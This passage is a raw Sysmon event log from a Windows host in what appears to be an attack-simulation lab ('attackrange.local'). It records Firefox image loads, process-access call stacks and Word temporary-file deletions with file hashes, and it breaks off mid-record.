Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\Explorer.EXE+1f054|C:\Windows\Explorer.EXE+1f000|C:\Windows\Explorer.EXE+1dfec|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000049672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.965{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{7078AAC0-FDA1-45B4-AC51-B0E528CE7586}.tmpMD5=830FBF83999E052538EAF156AB6ECB17,SHA256=D5098A2CEAE815DB29CD53C76F85240C95DC4D2E3FEDDD71D628617064C29869,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.965{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{A7508C6F-DB79-4556-A295-8346691A710E}.tmpMD5=830FBF83999E052538EAF156AB6ECB17,SHA256=D5098A2CEAE815DB29CD53C76F85240C95DC4D2E3FEDDD71D628617064C29869,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.965{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{E1FBD91C-39CC-47F2-9617-986146C6D3EF}.tmpMD5=830FBF83999E052538EAF156AB6ECB17,SHA256=D5098A2CEAE815DB29CD53C76F85240C95DC4D2E3FEDDD71D628617064C29869,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.919{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140_1.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140_1.dllMD5=4DC09CA657822C2E8160255F767597DF,SHA256=922124BA0821AA864A0261ED88BD25F8E40F94C24D00D389E23CD9AB2BFC6BA4,IMPHASH=AE0BDE6314FA2027B54CE04898F6AB69trueMicrosoft CorporationValid 734700x800000000000000049668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.950{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000049667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.950{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msctf.dll10.0.14393.4530 (rs1_release.210705-0736)MSCTF Server DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCTF.DLLMD5=E2374A214A9F0C8347C29EBDE3447986,SHA256=F2260FE7E0C4E92D49CF0F550E2A1B3D3F1D2D76E6F5C8F16B0E16B6117D9EE1,IMPHASH=EB898F83C3A5D6877A523BC64B41CB06trueMicrosoft WindowsValid 734700x800000000000000049666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.919{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140.dllMD5=ADE7AAC069131F54E4294F722C17A412,SHA256=92D50F7C4055718812CD3D823AA2821D6718EB55D2AB2BAC55C2E47260C25A76,IMPHASH=44C3854843F7A3FCCDF8DDBBEA66F302trueMicrosoft CorporationValid 734700x800000000000000049665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000049664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000049663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000049662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000049661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000049660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000049659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 23542300x800000000000000049658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRD0001.docMD5=F1D24DACC230D47E9AC535F7E0EA9091,SHA256=2DCCD5B4C636C354A7A7E410D62AB83AF1BE28CC09C228E7278C40B2F6091EB3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000049657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntmarta.dll10.0.14393.0 (rs1_release.160715-1616)Windows NT MARTA providerMicrosoft® Windows® Operating SystemMicrosoft Corporationntmarta.dllMD5=854A3CAE7C97B630158C9F7EE8555970,SHA256=20F0A4D99C5095A0CAC39B816BFC987F64CD051843C79E027714666375986176,IMPHASH=98050D95AE15C8382F287539F2BF65FAtrueMicrosoft WindowsValid 734700x800000000000000049655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.903{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationmsvcp140.dllMD5=4B6BA0947F115AE9FD3016D26D57ABB8,SHA256=254DF96324D019A7C4213ABD4178944B8BF2873D0C3EDC1835D4C668F83D7C37,IMPHASH=4F1912F58F8D1AE7998EF5303198D62DtrueMicrosoft CorporationValid 10341000x800000000000000049654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000049651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000049650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000049648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000049644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.934{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+7376|C:\Program Files\Mozilla Firefox\firefox.exe+5799|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.919{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000049642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.919{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000049641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.919{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 10341000x800000000000000049640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.903{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.903{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.903{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.903{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.887{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.887{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.887{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.887{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 